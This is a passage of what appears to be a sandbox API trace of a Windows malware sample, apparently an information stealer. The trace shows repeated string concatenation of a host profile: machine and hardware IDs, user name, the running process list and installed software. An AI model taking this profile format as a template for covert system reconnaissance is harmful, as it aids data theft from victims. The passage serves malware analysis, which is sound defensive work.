winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001"
[0054.961] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]"
